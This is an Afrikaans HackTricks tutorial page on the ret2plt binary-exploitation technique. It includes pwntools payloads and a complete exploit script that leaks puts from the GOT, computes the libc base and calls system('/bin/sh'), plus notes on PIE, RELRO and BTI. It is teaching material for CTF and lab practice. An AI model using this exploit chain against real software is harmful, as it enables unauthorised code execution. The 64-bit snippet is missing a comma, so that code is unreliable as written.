Ret2plt
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die doel van hierdie tegniek is om leak ’n adres van ’n funksie in die PLT sodat ASLR omseil kan word. Dit is omdat, byvoorbeeld, as jy die adres van die funksie puts van die libc leak, kan jy dan bereken waar die basis van libc is en offsets bereken om toegang tot ander funksies soos system te kry.
Dit kan gedoen word met ’n pwntools payload soos (from here):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Let op hoe puts (wat die adres uit die PLT gebruik) aangeroep word met die adres van puts wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat puts die GOT-inskrywing van puts afdruk, hierdie inskrywing die presiese adres van puts in geheue sal bevat.
Let ook op hoe die adres van main in die exploit gebruik word, sodat wanneer puts sy uitvoering beëindig, die binary main weer aanroep in plaas van te verlaat (sodat die leaked adres steeds geldig bly).
Caution
Let daarop dat om dit te laat werk die binary nie met PIE gecompileer mag wees nie, of jy moet ’n leak gevind het om PIE te omseil om die adresse van die PLT, GOT en main te ken. Andersins moet jy eers PIE omseil.
Jy kan ’n volledige voorbeeld van hierdie bypass hier vind. Dit was die finale exploit uit daardie voorbeeld:
Volledige exploit voorbeeld (ret2plt leak + system)
```python from pwn import *elf = context.binary = ELF(‘./vuln-32’) libc = elf.libc p = process()
p.recvline()
payload = flat( ‘A’ * 32, elf.plt[‘puts’], elf.sym[‘main’], elf.got[‘puts’] )
p.sendline(payload)
puts_leak = u32(p.recv(4)) p.recvlines(2)
libc.address = puts_leak - libc.sym[‘puts’] log.success(f’LIBC base: {hex(libc.address)}’)
payload = flat( ‘A’ * 32, libc.sym[‘system’], libc.sym[‘exit’], next(libc.search(b’/bin/sh\x00’)) )
p.sendline(payload)
p.interactive()
</details>
## Moderne oorwegings
- **`-fno-plt` builds** (common in modern distros) vervang `call foo@plt` met `call [foo@got]`. As die binary geen `foo@plt` stub het nie, kan jy steeds leak die opgeloste adres met `puts(elf.got['foo'])` en dan **return direk na die GOT-inskrywing** (`flat(padding, elf.got['foo'])`) om na libc te spring sodra lazy binding voltooi is.
- **Full RELRO / `-Wl,-z,now`**: die GOT is slegs leesbaar maar ret2plt werk steeds vir leaks omdat jy net die GOT-slot lees. As die symbol nooit aangeroep is nie, sal jou eerste ret2plt ook lazy binding uitvoer en dan die opgeloste slot druk.
- **ASLR + PIE**: as PIE geaktiveer is, first leak a code pointer (bv. saved return address, function pointer, of `.plt` entry via 'n ander format‑string/infoleak) om die PIE-basis te bereken, en bou dan die ret2plt-ketting met die herbaserde PLT/GOT-adresse.
- **Non‑x86 architectures with BTI/PAC (AArch64)**: PLT entries is geldige BTI landing pads (`bti c`), so wanneer exploiting op BTI‑enabled binaries verkies om in die PLT stub te spring (of 'n ander BTI‑geannoteerde gadget) eerder as direk in 'n libc gadget sonder BTI; anders sal die CPU `BRK`/`PAC` foute veroorsaak.
- **Quick resolution helper**: as die teikenfunksie nog nie opgelos is nie en jy 'n leak in 'n enkele poging benodig, ketting die PLT‑aanroep twee keer: first `elf.plt['foo']` (om op te los) en dan weer `elf.plt['foo']` met die GOT‑adres as argument om die nou‑gevulde slot te print.
## Ander voorbeelde & Verwysings
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled maar geen PIE; die eerste stap is om 'n overflow te vul tot by die 0x00‑byte van die canary en dan puts aan te roep om dit te leak. Met die canary word 'n ROP gadget geskep om puts aan te roep en die adres van puts vanaf die GOT te leak, en daarna 'n ROP gadget om `system('/bin/sh')` aan te roep.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, geen canary; stack overflow in main vanaf 'n child function. ROP gadget om puts aan te roep en die adres van puts vanaf die GOT te leak en dan 'n one gadget aan te roep.
## Verwysings
- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>


